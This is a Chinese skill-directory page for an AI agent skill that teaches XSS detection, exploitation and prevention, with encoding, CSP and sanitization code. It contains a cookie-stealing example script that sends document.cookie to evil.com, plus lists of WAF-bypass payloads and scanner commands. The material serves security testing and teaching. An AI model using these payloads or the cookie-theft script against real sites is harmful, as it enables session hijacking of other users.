xss-detection
安装方式
先用 Prompt 核对来源与依赖。也可下载安装包。
用 AI 助手安装
复制提示词,让助手先核对固定版本和依赖。
查看 Prompt收起 Prompt
先检查当前 Agent 是否已安装 SkillPI Skill Finder。如果尚未安装,请按官方仓库的说明安装并启用:https://github.com/Findskills/skillpi。然后使用 Skill Finder 打开此 SkillPI 详情页并定位 "xss-detection":https://skillpi.com/zh/skills/deepskill-ac1add7698242d51407565af3d9d250df9f0069e95a48c07c18e3a1bb237b48b。安装前核对上游来源和版本:https://github.com/TerminalSkills/skills。来源不一致时停止并说明差异。核对通过后,用 Skill Finder 安装目标 Skill,并报告安装路径和来源版本。
来源与配置
github.com
配置方式待核实
请查看原始来源中的适用工具、依赖和权限要求。
安装实测待补充
针对 Web 应用中的跨站脚本(XSS)相关工作提供检测、利用与防护的说明,适用于反射型、存储型与基于 DOM 的 XSS 测试、构建检测载荷、评估过滤器绕过、防范措施(如内容安全策略)及审计注入风险的场景。
介绍来源: third_party · TerminalSkills · 1.0.0 参考来源
SkillPi 解读
- 输入和输出
- 翻译待完成,请参阅来源文档。
- 实测状态
- 未测试
文件浏览
Frontmatter
name: xss-detection
description: >-
Detect, exploit, and prevent Cross-Site Scripting (XSS) vulnerabilities in
web applications. Use when tasks involve testing for reflected, stored, or
DOM-based XSS, building XSS payloads, bypassing WAF filters, implementing
Content Security Policy, sanitizing user input, or auditing web applications
for injection vulnerabilities. Covers detection, exploitation, and remediation.
license: Apache-2.0
compatibility: "Go 1.21+ for dalfox, Python 3.8+ for XSStrike"
metadata:
author: terminal-skills
version: "1.0.0"
category: devops
tags:
- xss
- web-security
- injection
- penetration-testing
- owaspXSS Detection
Overview
Find, prove, and fix Cross-Site Scripting vulnerabilities. XSS lets attackers inject scripts into web pages viewed by other users — stealing sessions, redirecting to phishing sites, or modifying page content.
Instructions
XSS Types
Reflected XSS
The malicious script comes from the current HTTP request. The payload is in the URL or form submission and reflected back in the response:
Attack flow:
1. Attacker crafts URL: https://site.com/search?q=<script>alert(1)</script>
2. Victim clicks the link
3. Server includes the query in the response without sanitization
4. Browser executes the script in the victim's session
Stored XSS
The payload is saved on the server (database, file, message) and served to other users:
Attack flow:
1. Attacker posts a comment: "Great article! <script>document.location='https://evil.com/steal?c='+document.cookie</script>"
2. Comment is stored in the database
3. Every user who views the page executes the script
4. Cookies/sessions are sent to the attacker's server
Stored XSS is more dangerous because it doesn't require tricking users into clicking a link.
DOM-based XSS
The vulnerability is in client-side JavaScript, not the server response. The payload never reaches the server:
// Vulnerable code — reads from URL fragment and writes to DOM
// URL: https://site.com/page#<img src=x onerror=alert(1)>
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // XSS!
// The server never sees the # fragment
// Traditional server-side scanning won't detect this
Detection
Manual testing
Test every input point — URL parameters, form fields, headers, cookies:
Step 1: Inject a canary string to see where input appears in the response
Input: test12345xss
Search the response body for: test12345xss
Note the context: inside HTML, inside an attribute, inside JavaScript, inside CSS
Step 2: Based on context, craft appropriate payload
HTML body context:
<p>Your search: test12345xss</p>
Payload: <script>alert(1)</script>
Payload: <img src=x onerror=alert(1)>
HTML attribute context:
<input value="test12345xss">
Payload: " onfocus=alert(1) autofocus="
Payload: "><script>alert(1)</script>
JavaScript context:
var x = "test12345xss";
Payload: ";alert(1)//
Payload: '-alert(1)-'
URL/href context:
<a href="test12345xss">
Payload: javascript:alert(1)
Step 3: If basic payloads are blocked, try filter bypass techniques
Automated scanning
# Using dalfox — specialized XSS scanner
# Install: go install github.com/hahwul/dalfox/v2@latest
# Scan a single URL with parameters
dalfox url "https://site.com/search?q=test" --skip-bav
# Scan multiple URLs from a file
dalfox file urls-with-params.txt --skip-bav --output results.txt
# Pipe from other tools
echo "https://site.com/search?q=test" | dalfox pipe
# Using XSStrike — Python-based XSS scanner
# Install: pip install xsstrike
python3 xsstrike.py -u "https://site.com/search?q=test"
python3 xsstrike.py -u "https://site.com/search?q=test" --fuzzer # Fuzzing mode
DOM XSS detection
DOM XSS requires analyzing JavaScript source code for dangerous patterns:
// DANGEROUS SINKS — functions that execute or render content
// Look for these being called with user-controlled input:
document.write() // Writes raw HTML
document.writeln()
element.innerHTML = ... // Parses and renders HTML
element.outerHTML = ...
element.insertAdjacentHTML()
eval() // Executes JavaScript string
setTimeout(string) // Executes if passed a string
setInterval(string)
Function(string)
$.html() // jQuery — same as innerHTML
$(user_input) // jQuery selector injection
window.location = ... // Open redirect / javascript: URLs
// SOURCES — where user input comes from:
window.location.hash
window.location.search
window.location.href
document.URL
document.referrer
document.cookie
window.name
window.postMessage data
localStorage / sessionStorage
Filter Bypass Techniques
When WAF or input filters block basic payloads:
<!-- Case variation -->
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnErRoR=alert(1)>
<!-- Tag alternatives (when <script> is blocked) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<!-- Encoding tricks -->
<img src=x onerror=alert(1)> <!-- HTML entities -->
<a href="javascript:alert(1)">click</a>
<img src=x onerror=\u0061lert(1)> <!-- Unicode escapes -->
<!-- Bypassing keyword filters -->
<img src=x onerror=ale+rt(1)> <!-- String concatenation -->
<img src=x onerror=window['alert'](1)> <!-- Bracket notation -->
<img src=x onerror=top['al'+'ert'](1)>
<img src=x onerror=self[atob('YWxlcnQ=')](1)> <!-- Base64 -->
<!-- Bypassing () filter -->
<img src=x onerror=alert`1`> <!-- Template literals -->
<img src=x onerror=throw~onerror=alert,1>
<!-- Double encoding (if server decodes before WAF checks) -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
Prevention
Server-side output encoding
The primary defense — encode output based on context:
# output_encoding.py
# Context-aware output encoding prevents XSS
import html
import json
import re
from markupsafe import escape # Jinja2's escape function
def encode_html(value: str) -> str:
"""Encode for HTML body context.
Converts: & < > " ' to HTML entities
Use when inserting into: <p>{value}</p>
"""
return html.escape(value, quote=True)
def encode_attribute(value: str) -> str:
"""Encode for HTML attribute context.
Use when inserting into: <input value="{value}">
Always quote attributes — unquoted attributes have more bypass vectors.
"""
return html.escape(value, quote=True)
def encode_javascript(value: str) -> str:
"""Encode for JavaScript string context.
Use when inserting into: var x = "{value}";
Best practice: use JSON.dumps which handles all escaping.
"""
return json.dumps(value) # Handles \, ", newlines, etc.
def encode_url(value: str) -> str:
"""Encode for URL parameter context.
Use when inserting into: <a href="/page?q={value}">
"""
from urllib.parse import quote
return quote(value, safe='')
Content Security Policy (CSP)
CSP is the strongest defense against XSS — even if an attacker injects a script, the browser won't execute it:
# Strict CSP — blocks inline scripts and eval
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
# How nonce-based CSP works:
# Server generates a random nonce per request
# Only <script nonce="same-random-value"> executes
# Injected scripts without the nonce are blocked
<!-- Server generates nonce per request -->
<script nonce="r4nd0m123">
// This executes — nonce matches CSP header
app.init();
</script>
<!-- Injected by attacker — blocked by CSP -->
<script>alert(1)</script>
<!-- Browser refuses to execute: no nonce attribute -->
Input validation
Defense-in-depth — validate input even though output encoding is the primary defense:
# input_validation.py
# Validate and sanitize user input as defense-in-depth
import bleach # HTML sanitizer for cases where HTML input is needed
def sanitize_rich_text(html_input: str) -> str:
"""Sanitize user-provided HTML (e.g., blog comments with formatting).
Allows safe tags and attributes, strips everything else.
Use ONLY when you need to accept HTML input.
For plain text, use output encoding instead.
"""
allowed_tags = ['p', 'br', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li']
allowed_attrs = {'a': ['href', 'title']} # No onclick, no style
cleaned = bleach.clean(
html_input,
tags=allowed_tags,
attributes=allowed_attrs,
strip=True, # Remove disallowed tags entirely
protocols=['http', 'https'] # No javascript: URLs in href
)
return cleaned
Examples
Test a web application for XSS vulnerabilities
Audit our web application for XSS vulnerabilities. Test all input points: search forms, user profile fields, comment sections, URL parameters, and HTTP headers (Referer, User-Agent). For each finding, show the injection context, the payload that triggers it, the XSS type (reflected/stored/DOM), and the impact. Provide remediation guidance specific to each finding.
Implement CSP for an existing application
Our Express.js application has no Content Security Policy. Implement a strict CSP with nonce-based script execution. The app uses inline scripts in 3 templates, loads Google Analytics and Stripe.js externally, and has inline styles in some components. Migrate all inline scripts to nonce-based, create the CSP middleware, and set up CSP violation reporting to catch issues before enforcing.
Build an automated XSS testing pipeline
Set up an automated XSS testing pipeline that runs on every PR. It should: 1) Spider the running application to discover all forms and URL parameters, 2) Test each input with context-appropriate payloads, 3) Check for DOM XSS by analyzing JavaScript for dangerous sink/source patterns, 4) Verify CSP headers are present and properly configured, 5) Report findings with severity ratings. Use dalfox for reflected/stored and a custom scanner for DOM-based.
Guidelines
- Only test for XSS on applications you have explicit written authorization to test
- Use
alert(1)oralert(document.domain)as proof-of-concept — never use actual cookie-stealing payloads against real users - Stored XSS payloads persist in the database — coordinate with the target team to clean up after testing
- CSP is the strongest defense but is not a replacement for output encoding — implement both
- Context-aware encoding is critical: HTML encoding in a JavaScript context does not prevent XSS
- Always report XSS findings through responsible disclosure channels, never publicly
当前收录版本
1.0.0
质量评测
满分100 · 来自 SkillPi LAB 实验室的评测报告。
亮点
- 提供完整的 XSS 漏洞检测、利用与修复闭环方案
- 涵盖反射型、存储型、DOM 型 XSS 三大类型及实际攻击流程
- 包含自动化工具(dalfox、XSStrike)和手动测试方法
亮点
- 触发词精准覆盖 XSS 相关任务:检测、载荷构建、WAF 绕过、CSP 实施、输入清理
- 明确区分不同 XSS 类型,边界清晰,无歧义
待提升项
-
description 重复 原报告严重程度:轻微
顶层 frontmatter 和 skill_body 内部均包含 description 字段,内容重复
改进建议:建议移除 skill_body 内部的 description 字段,保留顶层 frontmatter 中的定义
-
缺少显式 'When to Use' 章节 原报告严重程度:轻微
内容已涵盖使用场景,但未使用标准章节标题 'When to Use'
改进建议:建议在 Overview 后添加 'When to Use' 章节,提升结构规范性
亮点
- 文档结构完整,逻辑清晰,包含 Overview、Instructions、Detection、Prevention、Examples、Guidelines
- 提供丰富的代码示例、命令行指令和实际攻击流程说明
亮点
- 工具来源明确(dalfox、XSStrike),安装和使用命令准确
- 涵盖多种 WAF 绕过技术和上下文编码方案,提升检测成功率
- 提供安全测试伦理指南(授权、PoC 限制、清理建议),降低误用风险
取前四项原始分值的算术平均,四舍五入取整。可通过收录报告核对各项评分与说明,运行记录需单独查证。
正文静态检测
100 / 100 · skillpi-20261123-no-r3-v1
正文未命中当前规则。
分数仅反映正文中的规则命中,供使用前参考。附件与运行行为不在此评分范围内。
权限与使用前检查
根据当前主文档自动整理,命中内容可能是示例或防护说明;不是实际权限声明,也未覆盖附件、外部依赖或运行行为。
-
安装或获取外部依赖
使用官方来源并锁定版本,在隔离环境检查安装脚本。当前文档检查不覆盖后续下载的代码。
主文档提及 · 第 125 行
文档引用的域名或地址
这些地址可能用于文档链接或示例,不是已批准的联网清单。使用前核对实际目的地及发送的数据。
- evil.com
- site.com
安全评级与访问范围
safe · 静态证据核验,不代表运行安全保证。
使用前请由宿主核对并授权实际文件读写、外部服务和联网目的地;本站的核验不会授予任何运行权限。
用户讨论
还没有已核实的点评。